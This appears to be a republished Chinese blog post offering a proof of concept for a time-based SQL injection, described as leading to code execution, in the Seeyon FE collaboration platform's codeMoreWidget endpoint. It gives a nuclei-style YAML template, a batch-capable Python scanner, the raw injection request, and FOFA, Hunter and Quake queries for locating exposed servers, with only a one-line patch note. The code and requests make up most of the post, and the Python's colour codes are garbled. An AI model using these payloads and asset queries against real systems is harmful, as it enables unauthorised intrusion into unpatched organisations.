POC(Yaml&Python)
话不多说先上POC(Yam-poc由yakit或ProjectDiscovery Cloud Platform生成,Python-poc脚本由chatgpt生成,准确性请自测,如您觉得有用,请动动小手点个关注,为您每天更新最新漏洞POC)
-
「Yaml」
id: Seeyou-FE-codeMoreWidget-sqli
info:
name: 致远互联FE协作办公平台 codeMoreWidget SQL注入致RCE
author: god
severity: high
description: 致远互联FE协作办公平台 codeMoreWidget SQL注入致RCE
metadata:
fofa-query: body="li_plugins_download"
tags: seeyou,sqli
http:
- raw:
- |-
@timeout: 30s
POST /common/codeMoreWidget.js%70 HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 32
code=-1';waitfor delay '0:0:4'--
max-redirects: 3
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'duration>=4 && duration<6'
- 'status_code_1 == 200'
condition: and
-
「Python」
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import http.client
import ssl
import argparse
from urllib.parse import urlparse
import time
RED = '�33[91m'
RESET = '�33[0m'
def check_vulnerability(url):
try:
# 解析URL以获取域名和协议
parsed_url = urlparse(url)
# 指定请求的路径和数据体
path = "/common/codeMoreWidget.js%70"
# 构造POST请求的数据体
body = "code=-1';waitfor delay '0:0:4'--"
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0"
}
conn = None
# 判断是http还是https,如果是https,则忽略证书验证
if parsed_url.scheme == "https":
conn = http.client.HTTPSConnection(parsed_url.netloc, context=ssl._create_unverified_context())
else:
conn = http.client.HTTPConnection(parsed_url.netloc)
start_time = time.time()
# 发送POST请求
conn.request("POST", path, body=body, headers=headers)
# 获取响应
response = conn.getresponse()
elapsed_time = time.time() - start_time
if 4 <= elapsed_time <= 6:
print(f"{RED}URL [{url}] 可能存在致远互联FE协作办公平台 codeMoreWidget SQL注入致RCE漏洞{RESET}")
else:
print(f"URL [{url}] 不存在漏洞")
except Exception as e:
print(f"URL [{url}] 请求失败: {e}")
def main():
parser = argparse.ArgumentParser(description='检测目标地址是否存在致远互联FE协作办公平台 codeMoreWidget SQL注入致RCE漏洞')
parser.add_argument('-u', '--url', help='指定目标地址')
parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')
args = parser.parse_args()
if args.url:
if not args.url.startswith("http://") and not args.url.startswith("https://"):
args.url = "http://" + args.url
check_vulnerability(args.url)
elif args.file:
with open(args.file, 'r') as file:
urls = file.read().splitlines()
for url in urls:
if not url.startswith("http://") and not url.startswith("https://"):
url = "http://" + url
check_vulnerability(url)
if __name__ == '__main__':
main()
漏洞介绍
❝
致远互联FE协作办公平台是一个专注于协同管理软件领域的数智化运营平台及云服务提供商,旨在为企业提供数字化转型和升级的解决方案,特别是针对大中型政府和企业客户。其codeMoreWidget.jsp接口处存在SQL注入漏洞,恶意攻击者可能会向数据库发送构造的恶意SQL查询语句,以获取数据库敏感信息、修改数据或者执行其他恶意操作,还有可能直接通过sql注入获取服务器权限。
❞
资产测绘
-
「Fofa」
❝
body="li_plugins_download"
❞
-
「Hunter」
❝
web.body="li_plugins_download"
❞
-
「Quake」
❝
body="li_plugins_download"
❞
漏洞复现
「1、构造数据包」
POST /common/codeMoreWidget.js%70 HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 32
code=-1';waitfor delay '0:0:4'--
「2、查看响应时间」
修复方案
❝
官方已发布安全补丁,建议联系厂商打补丁或升级版本。 引入Web应用防火墙防护,配置接口拦截策略。 ❞
原文始发于微信公众号(浅梦安全):【漏洞复现|含POC】致远互联FE协作办公平台 codeMoreWidget SQL注入致RCE
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论